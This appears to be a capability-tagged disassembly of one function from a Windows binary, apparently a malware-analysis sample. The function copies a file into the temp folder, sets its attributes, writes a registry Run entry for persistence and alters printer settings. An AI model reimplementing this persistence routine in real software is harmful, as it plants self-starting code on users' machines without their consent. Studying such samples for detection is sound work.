Function at 0x4d43c4
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4d43cc
push ebx
xor eax, eax
push ebp
push 0x4d471b
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov edx, 0x4d4730
call fcn.004bdd24
lea eax, [ebp - 8]
mov edx, 0x12c
call fcn.00405dfc
mov eax, dword [ebp - 8]
call fcn.00405b6c
push eax
push 0x12c
call sub.kernel32.dll_GetTempPathA
test eax, eax
jbe 0x4d46f3
mov eax, dword [ebp - 8]
call fcn.00405b6c
call fcn.0040b494
mov edx, eax
lea eax, [ebp - 8]
call fcn.00405dfc
lea ecx, [ebp - 0x2c]
mov edx, 0x4d4730
mov eax, dword [ebp - 8]
call fcn.004bdd24
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 8]
call fcn.00405774
push 0x20
mov eax, dword [ebp - 8]
call fcn.00405b6c
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
mov eax, dword [ebp - 8]
call fcn.00405b6c
push eax
mov eax, dword [ebp - 4]
call fcn.00405b6c
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x4d46f3
push 0x20
mov eax, dword [ebp - 8]
call fcn.00405b6c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0042afcc
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, 0x80000001
call fcn.0042b000
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov cl, 1
mov edx, 0x4d4744
call fcn.0042b070
test al, al
je 0x4d46b0
mov ebx, 1
lea edx, [ebp - 0x30]
mov eax, ebx
call fcn.0040a944
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0xc]
mov edx, 0x4d4780
call fcn.004059f4
jmp 0x4d4507
inc ebx
lea edx, [ebp - 0x34]
mov eax, ebx
call fcn.0040a944
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
mov edx, 0x4d4780
call fcn.004059f4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0xc]
call fcn.0042b938
test al, al
jne 0x4d44ec
push dword [ebp - 8]
push 0x4d4790
call fcn.004bd828
and eax, 0x7f
lea edx, [ebp - 0x38]
call fcn.0040a944
push dword [ebp - 0x38]
push 0x4d479c
lea ecx, [ebp - 0x3c]
mov eax, dword [0x4f5434]
mov eax, dword [eax]
mov eax, dword [eax + 0x360]
mov edx, 0x4d47a8
call fcn.00481428
push dword [ebp - 0x3c]
push 0x4d479c
lea ecx, [ebp - 0x40]
mov eax, dword [0x4f5434]
mov eax, dword [eax]
mov eax, dword [eax + 0x360]
mov edx, 0x4d47e0
call fcn.00481428
push dword [ebp - 0x40]
push 0x4d479c
mov eax, dword [ebp + 8]
push dword [eax - 8]
push 0x4d479c
mov eax, dword [ebp + 8]
push dword [eax - 0xc]
push 0x4d479c
mov eax, dword [ebp + 8]
push dword [eax - 0x10]
push 0x4d479c
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov eax, dword [eax - 4]
push dword [eax + 0x7c]
push 0x4d47f0
lea eax, [ebp - 0x10]
mov edx, 0x10
call fcn.00405a70
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0xc
call fcn.00403b3c
mov dword [ebp - 0x20], 0xf000c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
call fcn.00405b6c
push eax
call sub.winspool.drv_OpenPrinterA
test eax, eax
je 0x4d46a5
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 2
mov eax, dword [ebp - 0x14]
push eax
call sub.winspool.drv_GetPrinterA
cmp dword [ebp - 0x18], 0
jbe 0x4d46a5
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
call fcn.00402ef8
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x4d469e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
push 2
mov eax, dword [ebp - 0x14]
push eax
call sub.winspool.drv_GetPrinterA
test eax, eax
je 0x4d4688
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
call fcn.00405b6c
mov edx, dword [ebp - 0x1c]
mov dword [edx + 0xc], eax
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 2
mov eax, dword [ebp - 0x14]
push eax
call sub.winspool.drv_SetPrinterA
test eax, eax
je 0x4d4688
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.0042b6c0
mov eax, dword [0x4f5628]
mov byte [eax], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d46a5
mov eax, dword [ebp - 0x1c]
call fcn.00402f14
ret
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0042afcc
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov cl, 1
mov edx, 0x4d47fc
call fcn.0042b070
test al, al
je 0x4d46e3
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
xor ecx, ecx
mov edx, 0x4d4824
call fcn.0042b7b0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0042afcc
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, 0x80000002
call fcn.0042b000
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d4722
lea eax, [ebp - 0x40]
mov edx, 6
call fcn.00405700
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405700
ret